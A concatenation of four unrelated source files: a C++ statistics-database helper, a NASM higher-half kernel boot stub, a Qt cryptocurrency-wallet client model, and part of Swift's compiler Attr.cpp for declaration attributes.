bool StatHub::GetDBmetaData(const char* key, std::string& val) {
bool ret = false;
sql::Statement* statement = StatHubGetStatement(db_, SQL_FROM_HERE,
"SELECT * FROM meta WHERE key=?");
StatHubStatementBindCString(statement, 0 , key);
if(StatHubStatementStep(statement)) {
ret = true;
val = StatHubStatementColumnString(statement, 1);
}
StatHubReleaseStatement(statement);
return ret;
}
bool StatHub::SetDBmetaData(const char* key, const char* val) {
bool ret = true;
sql::Statement* statement = StatHubGetStatement(db_, SQL_FROM_HERE,
"INSERT OR REPLACE INTO meta "
"(key, value) "
"VALUES (?,?)");
StatHubStatementBindCString(statement, 0 , key);
StatHubStatementBindCString(statement, 1 , val);
ret = StatHubStatementRun(statement);
StatHubReleaseStatement(statement);
return ret;
}
void StatHub::MainUrlLoaded(const char* url) {
flush_db_request_time_ = StatHubGetSystemTime();
flush_db_required_ = true;
if (!flush_db_scheduled_) {
flush_db_scheduled_ = true;
if(IsVerboseEnabled()) {
LOG(INFO) << "CacheDatabase::MainUrlLoaded : Request DB flush (" << flush_delay_ << ")";
}
message_loop_->PostDelayedTask(FROM_HERE, NewRunnableFunction(&DoFlushDB, this), flush_delay_);
}
}
void StatHub::Cmd(StatHubTimeStamp timestamp, unsigned short cmd, void* param1, int sizeofparam1, void* param2, int sizeofparam2) {
switch (cmd) {
case INPUT_CMD_WK_MMC_CLEAR:
for (StatProcessor* processor=first_processor_; processor!=NULL; processor=processor->next_ ) {
processor->OnClearDb(db_);
}
break;
default:
for (StatProcessor* processor=first_processor_; processor!=NULL; processor=processor->next_ ) {
processor->OnCmd(timestamp, cmd, param1, sizeofparam1, param2, sizeofparam2);
}
break;
}
if (INPUT_CMD_WK_MAIN_URL_LOADED==cmd) {
MainUrlLoaded((const char*)param1);
}
}
void StatHub::FlushDBrequest() {
if(IsVerboseEnabled()) {
LOG(INFO) << "StatHub::FlushDBrequest : Start";
}
int delta = StatHubGetTimeDeltaInMs(flush_db_request_time_, StatHubGetSystemTime());
flush_db_scheduled_ = false;
if (flush_db_required_) {
if(IsVerboseEnabled()) {
LOG(INFO) << "StatHub::FlushDBrequest : Flush - " << delta;
}
if (delta>=flush_delay_) {
FlushDB();
}
else {
if (!flush_db_scheduled_) {
flush_db_scheduled_ = true;
if(IsVerboseEnabled()) {
LOG(INFO) << "StatHub::FlushDBrequest : Restart - " << flush_delay_ - delta;
}
thread_->message_loop()->PostDelayedTask(FROM_HERE, NewRunnableFunction(&DoFlushDB, this), flush_delay_ - delta);
}
}
}
}
bool StatHub::FlushDB() {
if(IsVerboseEnabled()) {
LOG(INFO) << "StatHub::FlushDB: Begin";
}
base::Time start(StatHubGetSystemTime());
for (StatProcessor* processor=first_processor_; processor!=NULL; processor=processor->next_ ) {
processor->OnFlushDb(db_);
}
if(IsVerboseEnabled()) {
LOG(INFO) << "StatHub::FlushDB time :" << StatHubGetTimeDeltaInMs(start, StatHubGetSystemTime());
}
return true;
}
} // namespace stat_hub
|
global _start ; making entry point visible to linker
global kernel_stack_bottom
global kernel_stack_top
extern kmain ; kmain is defined in kmain.cpp
extern start_ctors ; beginning and end
extern end_ctors ; of the respective
extern start_dtors ; ctors and dtors section,
extern end_dtors ; declared by the linker script
extern _bss_start
extern _bss_end
extern __cxa_finalize
%include "defs.asm"
KERNEL_PAGE_NUMBER equ (KERNEL_VIRTUAL_BASE >> 22)
section .data
align 0x1000
BootPageDirectory:
; This page directory entry identity-maps the first 4MB of the 32-bit physical address space.
; All bits are clear except the following:
; bit 7: PS The kernel page is 4MB.
; bit 1: RW The kernel page is read/write.
; bit 0: P The kernel page is present.
; This entry must be here -- otherwise the kernel will crash immediately after paging is
; enabled because it can't fetch the next instruction! It's ok to unmap this page later.
dd 0x00000083
times (KERNEL_PAGE_NUMBER - 1) dd 0 ; Pages before kernel space.
; This page directory entry defines 8 4MB pages containing the kernel.
dd 0x00000083
dd 0x00400083
dd 0x00800083
dd 0x00c00083
dd 0x01000083
dd 0x01400083
dd 0x01800083
dd 0x01c00083
dd 0x02000083
dd 0x02400083
dd 0x02800083
dd 0x02c00083
dd 0x03000083
times (1024 - KERNEL_PAGE_NUMBER - 13) dd 0 ; Pages after the kernel image.
kernel_stack_top equ kernel_stack_bottom + STACKSIZE
section .bootcode
; reserve initial kernel stack space
STACKSIZE equ 0x4000 ; that's 16k.
_start:
; clear bss section
; lea edi, [_bss_end]
; lea esi, [_bss_start]
;_bss_loop:
; mov DWORD [esi], 0
; lea esi, [esi+4]
; cmp esi, edi
; jb _bss_loop
; NOTE: Until paging is set up, the code must be position-independent and use physical
; addresses, not virtual ones!
mov ecx, (BootPageDirectory - KERNEL_VIRTUAL_BASE)
mov cr3, ecx ; Load Page Directory Base Register.
mov ecx, cr4
or ecx, 0x00000010 ; Set PSE bit in CR4 to enable 4MB pages.
mov cr4, ecx
mov ecx, cr0
or ecx, 0x80000000 ; Set PG bit in CR0 to enable paging.
mov cr0, ecx
; Start fetching instructions in kernel space.
; Since eip at this point holds the physical address of this command (approximately 0x00100000)
; we need to do a long jump to the correct virtual address of StartInHigherHalf which is
; approximately 0xC0100000.
lea ecx, [higher_half_start]
jmp ecx
higher_half_start:
mov dword [BootPageDirectory], 0
invlpg [0]
mov esp, kernel_stack_bottom + STACKSIZE ; set up the stack
mov [magic], eax
add ebx, KERNEL_VIRTUAL_BASE
mov [mbd_info], ebx
sub esp, 8 ; align stack to 16-byte boundary
push dword [mbd_info]
push dword [magic]
.kmain_call:
call kmain ; call kernel proper
cli
hang:
hlt ; halt machine should kernel return
jmp hang
section .bss
align 0x1000
kernel_stack_bottom: resb STACKSIZE ; reserve 16k stack on a doubleword boundary
magic: resd 1
mbd_info: resd 1
|
#include "clientmodel.h"
#include "bantablemodel.h"
#include "guiconstants.h"
#include "optionsmodel.h"
#include "addresstablemodel.h"
#include "peertablemodel.h"
#include "transactiontablemodel.h"
#include "chainparams.h"
#include "alert.h"
#include "main.h"
#include "ui_interface.h"
#include "floatingcityman.h"
#include <QDateTime>
#include <QTimer>
#include <QDebug>
#include <QFile>
static const int64_t nClientStartupTime = GetTime();
ClientModel::ClientModel(OptionsModel *optionsModel, QObject *parent) :
QObject(parent),
optionsModel(optionsModel),
peerTableModel(0),
banTableModel(0),
cachedNumBlocks(0),
numBlocksAtStartup(-1),
cachedFloatingcityCountString(""),
pollTimer(0)
{
peerTableModel = new PeerTableModel(this);
banTableModel = new BanTableModel(this);
pollTimer = new QTimer(this);
pollTimer->setInterval(MODEL_UPDATE_DELAY);
pollTimer->start();
connect(pollTimer, SIGNAL(timeout()), this, SLOT(updateTimer()));
pollMnTimer = new QTimer(this);
connect(pollMnTimer, SIGNAL(timeout()), this, SLOT(updateMnTimer()));
// no need to update as frequent as data for balances/txes/blocks
pollMnTimer->start(MODEL_UPDATE_DELAY * 4);
subscribeToCoreSignals();
}
ClientModel::~ClientModel()
{
unsubscribeFromCoreSignals();
}
int ClientModel::getNumConnections() const
{
return vNodes.size();
}
QString ClientModel::getFloatingcityCountString() const
{
return QString::number((int)mnodeman.CountEnabled()) + " / " + QString::number((int)mnodeman.size());
}
int ClientModel::getNumBlocks() const
{
LOCK(cs_main);
return nBestHeight;
}
int ClientModel::getNumBlocksAtStartup()
{
if (numBlocksAtStartup == -1) numBlocksAtStartup = getNumBlocks();
return numBlocksAtStartup;
}
quint64 ClientModel::getTotalBytesRecv() const
{
return CNode::GetTotalBytesRecv();
}
quint64 ClientModel::getTotalBytesSent() const
{
return CNode::GetTotalBytesSent();
}
QDateTime ClientModel::getLastBlockDate() const
{
LOCK(cs_main);
if (pindexBest)
return QDateTime::fromTime_t(pindexBest->GetBlockTime());
else
return QDateTime::fromTime_t(Params().GenesisBlock().nTime); // Genesis block's time of current network
}
void ClientModel::updateTimer()
{
// Get required lock upfront. This avoids the GUI from getting stuck on
// periodical polls if the core is holding the locks for a longer time -
// for example, during a wallet rescan.
TRY_LOCK(cs_main, lockMain);
if(!lockMain)
return;
// Some quantities (such as number of blocks) change so fast that we don't want to be notified for each change.
// Periodically check and update with a timer.
int newNumBlocks = getNumBlocks();
if(cachedNumBlocks != newNumBlocks)
{
cachedNumBlocks = newNumBlocks;
emit numBlocksChanged(newNumBlocks);
}
emit bytesChanged(getTotalBytesRecv(), getTotalBytesSent());
}
void ClientModel::updateMnTimer()
{
// Get required lock upfront. This avoids the GUI from getting stuck on
// periodical polls if the core is holding the locks for a longer time -
// for example, during a wallet rescan.
TRY_LOCK(cs_main, lockMain);
if(!lockMain)
return;
QString newFloatingcityCountString = getFloatingcityCountString();
if (cachedFloatingcityCountString != newFloatingcityCountString)
{
cachedFloatingcityCountString = newFloatingcityCountString;
emit strFloatingcitiesChanged(cachedFloatingcityCountString);
}
}
void ClientModel::updateNumConnections(int numConnections)
{
emit numConnectionsChanged(numConnections);
}
void ClientModel::updateAlert(const QString &hash, int status)
{
// Show error message notification for new alert
if(status == CT_NEW)
{
uint256 hash_256;
hash_256.SetHex(hash.toStdString());
CAlert alert = CAlert::getAlertByHash(hash_256);
if(!alert.IsNull())
{
emit message(tr("Network Alert"), QString::fromStdString(alert.strStatusBar), false, CClientUIInterface::ICON_ERROR);
}
}
emit alertsChanged(getStatusBarWarnings());
}
bool ClientModel::isTestNet() const
{
return TestNet();
}
bool ClientModel::inInitialBlockDownload() const
{
return IsInitialBlockDownload();
}
bool ClientModel::isImporting() const
{
return fImporting;
}
QString ClientModel::getStatusBarWarnings() const
{
return QString::fromStdString(GetWarnings("statusbar"));
}
OptionsModel *ClientModel::getOptionsModel()
{
return optionsModel;
}
PeerTableModel *ClientModel::getPeerTableModel()
{
return peerTableModel;
}
BanTableModel *ClientModel::getBanTableModel()
{
return banTableModel;
}
QString ClientModel::formatFullVersion() const
{
return QString::fromStdString(FormatFullVersion());
}
QString ClientModel::formatBuildDate() const
{
return QString::fromStdString(CLIENT_DATE);
}
bool ClientModel::isReleaseVersion() const
{
return CLIENT_VERSION_IS_RELEASE;
}
QString ClientModel::clientName() const
{
return QString::fromStdString(CLIENT_NAME);
}
QString ClientModel::formatClientStartupTime() const
{
return QDateTime::fromTime_t(nClientStartupTime).toString();
}
QString ClientModel::getConfigFileContent() const
{
QString result;
boost::filesystem::path path = GetConfigFile();
QString pathString = QString::fromStdString(path.string());
QFile file(pathString);
if (file.exists())
{
QString line;
if (file.open(QIODevice::ReadOnly | QIODevice::Text))
{
QTextStream stream(&file);
while (!stream.atEnd())
{
line = stream.readLine();
result += line + "\n";
}
}
}
file.close();
return result;
}
void ClientModel::setConfigFileContent(const QString &content)
{
boost::filesystem::path path = GetConfigFile();
QString pathString = QString::fromStdString(path.string());
QFile file(pathString);
if (file.open(QIODevice::WriteOnly | QIODevice::Text))
{
QTextStream stream(&file);
stream << content;
}
file.close();
}
void ClientModel::updateBanlist()
{
banTableModel->refresh();
}
// Handlers for core signals
static void ShowProgress(ClientModel *clientmodel, const std::string &title, int nProgress)
{
// emits signal "showProgress"
QMetaObject::invokeMethod(clientmodel, "showProgress", Qt::QueuedConnection,
Q_ARG(QString, QString::fromStdString(title)),
Q_ARG(int, nProgress));
}
static void NotifyNumConnectionsChanged(ClientModel *clientmodel, int newNumConnections)
{
// Too noisy: qDebug() << "NotifyNumConnectionsChanged : " + QString::number(newNumConnections);
QMetaObject::invokeMethod(clientmodel, "updateNumConnections", Qt::QueuedConnection,
Q_ARG(int, newNumConnections));
}
static void NotifyAlertChanged(ClientModel *clientmodel, const uint256 &hash, ChangeType status)
{
qDebug() << "NotifyAlertChanged : " + QString::fromStdString(hash.GetHex()) + " status=" + QString::number(status);
QMetaObject::invokeMethod(clientmodel, "updateAlert", Qt::QueuedConnection,
Q_ARG(QString, QString::fromStdString(hash.GetHex())),
Q_ARG(int, status));
}
static void BannedListChanged(ClientModel *clientmodel)
{
qDebug() << QString("%1: Requesting update for peer banlist").arg(__func__);
QMetaObject::invokeMethod(clientmodel, "updateBanlist", Qt::QueuedConnection);
}
void ClientModel::subscribeToCoreSignals()
{
// Connect signals to client
uiInterface.ShowProgress.connect(boost::bind(ShowProgress, this, _1, _2));
uiInterface.NotifyNumConnectionsChanged.connect(boost::bind(NotifyNumConnectionsChanged, this, _1));
uiInterface.NotifyAlertChanged.connect(boost::bind(NotifyAlertChanged, this, _1, _2));
}
void ClientModel::unsubscribeFromCoreSignals()
{
// Disconnect signals from client
uiInterface.ShowProgress.disconnect(boost::bind(ShowProgress, this, _1, _2));
uiInterface.NotifyNumConnectionsChanged.disconnect(boost::bind(NotifyNumConnectionsChanged, this, _1));
uiInterface.NotifyAlertChanged.disconnect(boost::bind(NotifyAlertChanged, this, _1, _2));
uiInterface.BannedListChanged.disconnect(boost::bind(BannedListChanged, this));
}
|
//===--- Attr.cpp - Swift Language Attr ASTs ------------------------------===//
//
// This source file is part of the Swift.org open source project
//
// Copyright (c) 2014 - 2017 Apple Inc. and the Swift project authors
// Licensed under Apache License v2.0 with Runtime Library Exception
//
// See https://swift.org/LICENSE.txt for license information
// See https://swift.org/CONTRIBUTORS.txt for the list of Swift project authors
//
//===----------------------------------------------------------------------===//
//
// This file implements routines relating to declaration attributes.
//
//===----------------------------------------------------------------------===//
#include "swift/AST/Attr.h"
#include "swift/AST/ASTContext.h"
#include "swift/AST/ASTPrinter.h"
#include "swift/AST/Decl.h"
#include "swift/AST/Expr.h"
#include "swift/AST/GenericEnvironment.h"
#include "swift/AST/IndexSubset.h"
#include "swift/AST/Module.h"
#include "swift/AST/ParameterList.h"
#include "swift/AST/TypeRepr.h"
#include "swift/AST/Types.h"
#include "swift/Basic/Defer.h"
#include "swift/Basic/QuotedString.h"
#include "llvm/ADT/SmallString.h"
#include "llvm/ADT/StringSwitch.h"
#include "llvm/Support/ErrorHandling.h"
#include "llvm/Support/raw_ostream.h"
using namespace swift;
#define DECL_ATTR(_, Id, ...) \
static_assert(IsTriviallyDestructible<Id##Attr>::value, \
"Attrs are BumpPtrAllocated; the destructor is never called");
#include "swift/AST/Attr.def"
static_assert(IsTriviallyDestructible<DeclAttributes>::value,
"DeclAttributes are BumpPtrAllocated; the d'tor is never called");
static_assert(IsTriviallyDestructible<TypeAttributes>::value,
"TypeAttributes are BumpPtrAllocated; the d'tor is never called");
#define DECL_ATTR(Name, Id, ...) \
static_assert(DeclAttribute::isOptionSetFor##Id(DeclAttribute::DeclAttrOptions::ABIBreakingToAdd) != \
DeclAttribute::isOptionSetFor##Id(DeclAttribute::DeclAttrOptions::ABIStableToAdd), \
#Name " needs to specify either ABIBreakingToAdd or ABIStableToAdd");
#include "swift/AST/Attr.def"
#define DECL_ATTR(Name, Id, ...) \
static_assert(DeclAttribute::isOptionSetFor##Id(DeclAttribute::DeclAttrOptions::ABIBreakingToRemove) != \
DeclAttribute::isOptionSetFor##Id(DeclAttribute::DeclAttrOptions::ABIStableToRemove), \
#Name " needs to specify either ABIBreakingToRemove or ABIStableToRemove");
#include "swift/AST/Attr.def"
#define DECL_ATTR(Name, Id, ...) \
static_assert(DeclAttribute::isOptionSetFor##Id(DeclAttribute::DeclAttrOptions::APIBreakingToAdd) != \
DeclAttribute::isOptionSetFor##Id(DeclAttribute::DeclAttrOptions::APIStableToAdd), \
#Name " needs to specify either APIBreakingToAdd or APIStableToAdd");
#include "swift/AST/Attr.def"
#define DECL_ATTR(Name, Id, ...) \
static_assert(DeclAttribute::isOptionSetFor##Id(DeclAttribute::DeclAttrOptions::APIBreakingToRemove) != \
DeclAttribute::isOptionSetFor##Id(DeclAttribute::DeclAttrOptions::APIStableToRemove), \
#Name " needs to specify either APIBreakingToRemove or APIStableToRemove");
#include "swift/AST/Attr.def"
// Only allow allocation of attributes using the allocator in ASTContext.
void *AttributeBase::operator new(size_t Bytes, ASTContext &C,
unsigned Alignment) {
return C.Allocate(Bytes, Alignment);
}
StringRef swift::getAccessLevelSpelling(AccessLevel value) {
switch (value) {
case AccessLevel::Private: return "private";
case AccessLevel::FilePrivate: return "fileprivate";
case AccessLevel::Internal: return "internal";
case AccessLevel::Public: return "public";
case AccessLevel::Open: return "open";
}
llvm_unreachable("Unhandled AccessLevel in switch.");
}
void TypeAttributes::getConventionArguments(SmallVectorImpl<char> &buf) const {
llvm::raw_svector_ostream stream(buf);
auto &convention = ConventionArguments.getValue();
stream << convention.Name;
if (convention.WitnessMethodProtocol) {
stream << ": " << convention.WitnessMethodProtocol;
return;
}
if (!convention.ClangType.Item.empty())
stream << ", cType: " << QuotedString(convention.ClangType.Item);
}
/// Given a name like "autoclosure", return the type attribute ID that
/// corresponds to it. This returns TAK_Count on failure.
///
TypeAttrKind TypeAttributes::getAttrKindFromString(StringRef Str) {
return llvm::StringSwitch<TypeAttrKind>(Str)
#define TYPE_ATTR(X) .Case(#X, TAK_##X)
#include "swift/AST/Attr.def"
.Default(TAK_Count);
}
/// Return the name (like "autoclosure") for an attribute ID.
const char *TypeAttributes::getAttrName(TypeAttrKind kind) {
switch (kind) {
default: llvm_unreachable("Invalid attribute ID");
#define TYPE_ATTR(X) case TAK_##X: return #X;
#include "swift/AST/Attr.def"
}
}
/// Given a name like "inline", return the decl attribute ID that corresponds
/// to it. Note that this is a many-to-one mapping, and that the identifier
/// passed in may only be the first portion of the attribute (e.g. in the case
/// of the 'unowned(unsafe)' attribute, the string passed in is 'unowned'.
///
/// Also note that this recognizes both attributes like '@inline' (with no @)
/// and decl modifiers like 'final'. This returns DAK_Count on failure.
///
DeclAttrKind DeclAttribute::getAttrKindFromString(StringRef Str) {
return llvm::StringSwitch<DeclAttrKind>(Str)
#define DECL_ATTR(X, CLASS, ...) .Case(#X, DAK_##CLASS)
#define DECL_ATTR_ALIAS(X, CLASS) .Case(#X, DAK_##CLASS)
#include "swift/AST/Attr.def"
.Default(DAK_Count);
}
/// Returns true if this attribute can appear on the specified decl.
bool DeclAttribute::canAttributeAppearOnDecl(DeclAttrKind DK, const Decl *D) {
return canAttributeAppearOnDeclKind(DK, D->getKind());
}
bool DeclAttribute::canAttributeAppearOnDeclKind(DeclAttrKind DAK, DeclKind DK) {
auto Options = getOptions(DAK);
switch (DK) {
#define DECL(Id, Parent) case DeclKind::Id: return (Options & On##Id) != 0;
#include "swift/AST/DeclNodes.def"
}
llvm_unreachable("bad DeclKind");
}
bool
DeclAttributes::isUnavailableInSwiftVersion(
const version::Version &effectiveVersion) const {
llvm::VersionTuple vers = effectiveVersion;
for (auto attr : *this) {
if (auto available = dyn_cast<AvailableAttr>(attr)) {
if (available->isInvalid())
continue;
if (available->getPlatformAgnosticAvailability() ==
PlatformAgnosticAvailabilityKind::SwiftVersionSpecific) {
if (available->Introduced.hasValue() &&
available->Introduced.getValue() > vers)
return true;
if (available->Obsoleted.hasValue() &&
available->Obsoleted.getValue() <= vers)
return true;
}
}
}
return false;
}
const AvailableAttr *
DeclAttributes::getPotentiallyUnavailable(const ASTContext &ctx) const {
const AvailableAttr *potential = nullptr;
const AvailableAttr *conditional = nullptr;
for (auto Attr : *this)
if (auto AvAttr = dyn_cast<AvailableAttr>(Attr)) {
if (AvAttr->isInvalid())
continue;
if (!AvAttr->isActivePlatform(ctx) &&
!AvAttr->isLanguageVersionSpecific() &&
!AvAttr->isPackageDescriptionVersionSpecific())
continue;
// Definitely not available.
if (AvAttr->isUnconditionallyUnavailable())
return AvAttr;
switch (AvAttr->getVersionAvailability(ctx)) {
case AvailableVersionComparison::Available:
// Doesn't limit the introduced version.
break;
case AvailableVersionComparison::PotentiallyUnavailable:
// We'll return this if we don't see something that proves it's
// not available in this version.
potential = AvAttr;
break;
case AvailableVersionComparison::Unavailable:
case AvailableVersionComparison::Obsoleted:
conditional = AvAttr;
break;
}
}
if (conditional)
return conditional;
return potential;
}
const AvailableAttr *DeclAttributes::getUnavailable(
const ASTContext &ctx) const {
const AvailableAttr *conditional = nullptr;
for (auto Attr : *this)
if (auto AvAttr = dyn_cast<AvailableAttr>(Attr)) {
if (AvAttr->isInvalid())
continue;
// If this attribute doesn't apply to the active platform, we're done.
if (!AvAttr->isActivePlatform(ctx) &&
!AvAttr->isLanguageVersionSpecific() &&
!AvAttr->isPackageDescriptionVersionSpecific())
continue;
// Unconditional unavailable.
if (AvAttr->isUnconditionallyUnavailable())
return AvAttr;
switch (AvAttr->getVersionAvailability(ctx)) {
case AvailableVersionComparison::Available:
case AvailableVersionComparison::PotentiallyUnavailable:
break;
case AvailableVersionComparison::Obsoleted:
case AvailableVersionComparison::Unavailable:
conditional = AvAttr;
break;
}
}
return conditional;
}
const AvailableAttr *
DeclAttributes::getDeprecated(const ASTContext &ctx) const {
const AvailableAttr *conditional = nullptr;
for (auto Attr : *this) {
if (auto AvAttr = dyn_cast<AvailableAttr>(Attr)) {
if (AvAttr->isInvalid())
continue;
if (!AvAttr->isActivePlatform(ctx) &&
!AvAttr->isLanguageVersionSpecific() &&
!AvAttr->isPackageDescriptionVersionSpecific())
continue;
// Unconditional deprecated.
if (AvAttr->isUnconditionallyDeprecated())
return AvAttr;
Optional<llvm::VersionTuple> DeprecatedVersion = AvAttr->Deprecated;
if (!DeprecatedVersion.hasValue())
continue;
llvm::VersionTuple MinVersion = AvAttr->getActiveVersion(ctx);
// We treat the declaration as deprecated if it is deprecated on
// all deployment targets.
// Once availability checking is enabled by default, we should
// query the type refinement context hierarchy to determine
// whether a declaration is deprecated on all versions
// allowed by the context containing the reference.
if (DeprecatedVersion.getValue() <= MinVersion) {
conditional = AvAttr;
}
}
}
return conditional;
}
void DeclAttributes::dump(const Decl *D) const {
StreamPrinter P(llvm::errs());
PrintOptions PO = PrintOptions::printEverything();
print(P, PO, D);
}
/// Returns true if the attribute can be presented as a short form available
/// attribute (e.g., as @available(iOS 8.0, *). The presentation requires an
/// introduction version and does not support deprecation, obsoletion, or
/// messages.
LLVM_READONLY
static bool isShortAvailable(const DeclAttribute *DA) {
auto *AvailAttr = dyn_cast<AvailableAttr>(DA);
if (!AvailAttr)
return false;
if (!AvailAttr->Introduced.hasValue())
return false;
if (AvailAttr->Deprecated.hasValue())
return false;
if (AvailAttr->Obsoleted.hasValue())
return false;
if (!AvailAttr->Message.empty())
return false;
if (!AvailAttr->Rename.empty())
return false;
switch (AvailAttr->PlatformAgnostic) {
case PlatformAgnosticAvailabilityKind::Deprecated:
case PlatformAgnosticAvailabilityKind::Unavailable:
case PlatformAgnosticAvailabilityKind::UnavailableInSwift:
return false;
case PlatformAgnosticAvailabilityKind::None:
case PlatformAgnosticAvailabilityKind::SwiftVersionSpecific:
case PlatformAgnosticAvailabilityKind::PackageDescriptionVersionSpecific:
return true;
}
return true;
}
/// Print the short-form @available() attribute for an array of long-form
/// AvailableAttrs that can be represented in the short form.
/// For example, for:
/// @available(OSX, introduced: 10.10)
/// @available(iOS, introduced: 8.0)
/// this will print:
/// @available(OSX 10.10, iOS 8.0, *)
static void printShortFormAvailable(ArrayRef<const DeclAttribute *> Attrs,
ASTPrinter &Printer,
const PrintOptions &Options) {
assert(!Attrs.empty());
Printer << "@available(";
auto FirstAvail = cast<AvailableAttr>(Attrs.front());
if (Attrs.size() == 1 &&
FirstAvail->getPlatformAgnosticAvailability() !=
PlatformAgnosticAvailabilityKind::None) {
assert(FirstAvail->Introduced.hasValue());
if (FirstAvail->isLanguageVersionSpecific()) {
Printer << "swift ";
} else {
assert(FirstAvail->isPackageDescriptionVersionSpecific());
Printer << "_PackageDescription ";
}
Printer << FirstAvail->Introduced.getValue().getAsString()
<< ")";
} else {
for (auto *DA : Attrs) {
auto *AvailAttr = cast<AvailableAttr>(DA);
assert(AvailAttr->Introduced.hasValue());
Printer << platformString(AvailAttr->Platform) << " "
<< AvailAttr->Introduced.getValue().getAsString() << ", ";
}
Printer << "*)";
}
Printer.printNewline();
}
/// The kind of a parameter in a `wrt:` differentiation parameters clause:
/// either a differentiability parameter or a linearity parameter. Used for
/// printing `@differentiable`, `@derivative`, and `@transpose` attributes.
enum class DifferentiationParameterKind {
/// A differentiability parameter, printed by name.
/// Used for `@differentiable` and `@derivative` attribute.
Differentiability,
/// A linearity parameter, printed by index.
/// Used for `@transpose` attribute.
Linearity
};
/// Returns the differentiation parameters clause string for the given function,
/// parameter indices, parsed parameters, and differentiation parameter kind.
/// Use the parameter indices if specified; otherwise, use the parsed
/// parameters.
static std::string getDifferentiationParametersClauseString(
const AbstractFunctionDecl *function, IndexSubset *parameterIndices,
ArrayRef<ParsedAutoDiffParameter> parsedParams,
DifferentiationParameterKind parameterKind) {
assert(function);
bool isInstanceMethod = function->isInstanceMember();
bool isStaticMethod = function->isStatic();
std::string result;
llvm::raw_string_ostream printer(result);
// Use the parameter indices, if specified.
if (parameterIndices) {
auto parameters = parameterIndices->getBitVector();
auto parameterCount = parameters.count();
printer << "wrt: ";
if (parameterCount > 1)
printer << '(';
// Check if differentiating wrt `self`. If so, manually print it first.
bool isWrtSelf =
(isInstanceMethod ||
(isStaticMethod &&
parameterKind == DifferentiationParameterKind::Linearity)) &&
parameters.test(parameters.size() - 1);
if (isWrtSelf) {
parameters.reset(parameters.size() - 1);
printer << "self";
if (parameters.any())
printer << ", ";
}
// Print remaining differentiation parameters.
interleave(parameters.set_bits(), [&](unsigned index) {
switch (parameterKind) {
// Print differentiability parameters by name.
case DifferentiationParameterKind::Differentiability:
printer << function->getParameters()->get(index)->getName().str();
break;
// Print linearity parameters by index.
case DifferentiationParameterKind::Linearity:
printer << index;
break;
}
}, [&] { printer << ", "; });
if (parameterCount > 1)
printer << ')';
}
// Otherwise, use the parsed parameters.
else if (!parsedParams.empty()) {
printer << "wrt: ";
if (parsedParams.size() > 1)
printer << '(';
interleave(parsedParams, [&](const ParsedAutoDiffParameter ¶m) {
switch (param.getKind()) {
case ParsedAutoDiffParameter::Kind::Named:
printer << param.getName();
break;
case ParsedAutoDiffParameter::Kind::Self:
printer << "self";
break;
case ParsedAutoDiffParameter::Kind::Ordered:
auto *paramList = function->getParameters();
assert(param.getIndex() <= paramList->size() &&
"wrt parameter is out of range");
auto *funcParam = paramList->get(param.getIndex());
printer << funcParam->getNameStr();
break;
}
}, [&] { printer << ", "; });
if (parsedParams.size() > 1)
printer << ')';
}
return printer.str();
}
/// Print the arguments of the given `@differentiable` attribute.
/// - If `omitWrtClause` is true, omit printing the `wrt:` differentiation
/// parameters clause.
/// - If `omitDerivativeFunctions` is true, omit printing the JVP/VJP derivative
/// functions.
static void printDifferentiableAttrArguments(
const DifferentiableAttr *attr, ASTPrinter &printer, PrintOptions Options,
const Decl *D, bool omitWrtClause = false,
bool omitDerivativeFunctions = false) {
assert(D);
// Create a temporary string for the attribute argument text.
std::string attrArgText;
llvm::raw_string_ostream stream(attrArgText);
// Get original function.
auto *original = dyn_cast<AbstractFunctionDecl>(D);
// Handle stored/computed properties and subscript methods.
if (auto *asd = dyn_cast<AbstractStorageDecl>(D))
original = asd->getAccessor(AccessorKind::Get);
assert(original && "Must resolve original declaration");
// Print comma if not leading clause.
bool isLeadingClause = true;
auto printCommaIfNecessary = [&] {
if (isLeadingClause) {
isLeadingClause = false;
return;
}
stream << ", ";
};
// Print if the function is marked as linear.
if (attr->isLinear()) {
isLeadingClause = false;
stream << "linear";
}
// Print differentiation parameters clause, unless it is to be omitted.
if (!omitWrtClause) {
auto diffParamsString = getDifferentiationParametersClauseString(
original, attr->getParameterIndices(), attr->getParsedParameters(),
DifferentiationParameterKind::Differentiability);
// Check whether differentiation parameter clause is empty.
// Handles edge case where resolved parameter indices are unset and
// parsed parameters are empty. This case should never trigger for
// user-visible printing.
if (!diffParamsString.empty()) {
printCommaIfNecessary();
stream << diffParamsString;
}
}
// Print derivative function names, unless they are to be omitted.
if (!omitDerivativeFunctions) {
// Print jvp function name, if specified.
if (auto jvp = attr->getJVP()) {
printCommaIfNecessary();
stream << "jvp: " << jvp->Name;
}
// Print vjp function name, if specified.
if (auto vjp = attr->getVJP()) {
printCommaIfNecessary();
stream << "vjp: " << vjp->Name;
}
}
// Print 'where' clause, if any.
// First, filter out requirements satisfied by the original function's
// generic signature. They should not be printed.
ArrayRef<Requirement> derivativeRequirements;
if (auto derivativeGenSig = attr->getDerivativeGenericSignature())
derivativeRequirements = derivativeGenSig->getRequirements();
auto requirementsToPrint =
llvm::make_filter_range(derivativeRequirements, [&](Requirement req) {
if (const auto &originalGenSig = original->getGenericSignature())
if (originalGenSig->isRequirementSatisfied(req))
return false;
return true;
});
if (!llvm::empty(requirementsToPrint)) {
if (!isLeadingClause)
stream << ' ';
stream << "where ";
std::function<Type(Type)> getInterfaceType;
if (!original || !original->getGenericEnvironment()) {
getInterfaceType = [](Type Ty) -> Type { return Ty; };
} else {
// Use GenericEnvironment to produce user-friendly
// names instead of something like 't_0_0'.
auto *genericEnv = original->getGenericEnvironment();
assert(genericEnv);
getInterfaceType = [=](Type Ty) -> Type {
return genericEnv->getSugaredType(Ty);
};
}
interleave(requirementsToPrint, [&](Requirement req) {
if (const auto &originalGenSig = original->getGenericSignature())
if (originalGenSig->isRequirementSatisfied(req))
return;
auto FirstTy = getInterfaceType(req.getFirstType());
if (req.getKind() != RequirementKind::Layout) {
auto SecondTy = getInterfaceType(req.getSecondType());
Requirement ReqWithDecls(req.getKind(), FirstTy, SecondTy);
ReqWithDecls.print(stream, Options);
} else {
Requirement ReqWithDecls(req.getKind(), FirstTy,
req.getLayoutConstraint());
ReqWithDecls.print(stream, Options);
}
}, [&] {
stream << ", ";
});
}
// If the attribute argument text is empty, return. Do not print parentheses.
if (stream.str().empty())
return;
// Otherwise, print the attribute argument text enclosed in parentheses.
printer << '(';
printer << stream.str();
printer << ')';
}
void DeclAttributes::print(ASTPrinter &Printer, const PrintOptions &Options,
const Decl *D) const {
if (!DeclAttrs)
return;
SmallVector<const DeclAttribute *, 8> orderedAttributes(begin(), end());
print(Printer, Options, orderedAttributes, D);
}
